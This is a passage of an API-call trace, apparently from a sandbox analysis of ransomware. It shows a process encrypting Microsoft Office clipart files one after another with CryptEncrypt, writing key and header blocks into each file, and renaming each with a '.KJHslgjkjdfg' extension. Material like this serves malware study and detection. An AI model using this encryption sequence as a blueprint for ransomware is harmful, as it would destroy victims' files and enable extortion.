[0187.235] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.235] GetProcessHeap () returned 0x2a0000 [0187.235] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.kjhslgjkjdfg")) returned 1 [0187.237] CloseHandle (hObject=0x114) returned 1 [0187.237] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44428700, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44428700, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05870_.WMF", cAlternateFileName="")) returned 1 [0187.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.239] GetProcessHeap () returned 0x2a0000 [0187.239] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.239] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0187.242] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.242] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.242] GetProcessHeap () returned 0x2a0000 [0187.242] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.242] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.242] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.242] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.242] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.242] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.242] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.243] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.243] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.243] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.243] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x634, lpOverlapped=0x0) returned 1 [0187.243] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x640, dwBufLen=0x640 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x640) returned 1 [0187.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.243] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x640, lpOverlapped=0x0) returned 1 [0187.243] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.244] SetEndOfFile (hFile=0x114) returned 1 [0187.246] GetProcessHeap () returned 0x2a0000 [0187.246] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.246] GetProcessHeap () returned 0x2a0000 [0187.246] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.kjhslgjkjdfg")) returned 1 [0187.248] CloseHandle (hObject=0x114) returned 1 [0187.248] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671b6e00, ftCreationTime.dwHighDateTime=0x1bd4bfa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x671b6e00, ftLastWriteTime.dwHighDateTime=0x1bd4bfa, nFileSizeHigh=0x0, nFileSizeLow=0x7fce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05930_.WMF", cAlternateFileName="")) returned 1 [0187.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.249] GetProcessHeap () returned 0x2a0000 [0187.249] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.249] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.250] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.250] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0187.252] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.252] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.252] GetProcessHeap () returned 0x2a0000 [0187.252] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.252] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.252] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.252] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.252] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.252] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.252] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.253] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.253] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.253] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.253] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.253] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.253] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7fce, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7fce, lpOverlapped=0x0) returned 1 [0187.254] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7fd0, dwBufLen=0x7fd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7fd0) returned 1 [0187.254] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.254] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7fd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7fd0, lpOverlapped=0x0) returned 1 [0187.254] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.254] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x80a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.255] SetEndOfFile (hFile=0x114) returned 1 [0187.257] GetProcessHeap () returned 0x2a0000 [0187.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.258] GetProcessHeap () returned 0x2a0000 [0187.258] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.kjhslgjkjdfg")) returned 1 [0187.260] CloseHandle (hObject=0x114) returned 1 [0187.260] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf03a600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf03a600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE06049_.WMF", cAlternateFileName="")) returned 1 [0187.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.261] GetProcessHeap () returned 0x2a0000 [0187.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.261] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.261] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.261] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.264] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.264] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.264] GetProcessHeap () returned 0x2a0000 [0187.264] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.264] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.264] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.264] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.264] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.264] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.264] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.264] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.264] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.264] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.264] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.264] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.265] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x121c, lpOverlapped=0x0) returned 1 [0187.265] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1220, dwBufLen=0x1220 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1220) returned 1 [0187.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.266] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1220, lpOverlapped=0x0) returned 1 [0187.266] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.266] SetEndOfFile (hFile=0x114) returned 1 [0187.269] GetProcessHeap () returned 0x2a0000 [0187.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.269] GetProcessHeap () returned 0x2a0000 [0187.269] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.kjhslgjkjdfg")) returned 1 [0187.270] CloseHandle (hObject=0x114) returned 1 [0187.271] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59d01210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4048, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE06450_.WMF", cAlternateFileName="")) returned 1 [0187.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.272] GetProcessHeap () returned 0x2a0000 [0187.272] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.272] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.272] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.272] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.274] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.274] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.274] GetProcessHeap () returned 0x2a0000 [0187.274] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.275] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.275] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.275] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.275] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.275] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.275] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.275] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.275] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.275] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.275] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.275] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.275] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4048, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4048, lpOverlapped=0x0) returned 1 [0187.277] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4050, dwBufLen=0x4050 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4050) returned 1 [0187.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.277] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4050, lpOverlapped=0x0) returned 1 [0187.277] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.277] SetEndOfFile (hFile=0x114) returned 1 [0187.280] GetProcessHeap () returned 0x2a0000 [0187.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.280] GetProcessHeap () returned 0x2a0000 [0187.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.kjhslgjkjdfg")) returned 1 [0187.282] CloseHandle (hObject=0x114) returned 1 [0187.282] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf15a1100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf15a1100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH00601G.GIF", cAlternateFileName="")) returned 1 [0187.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft 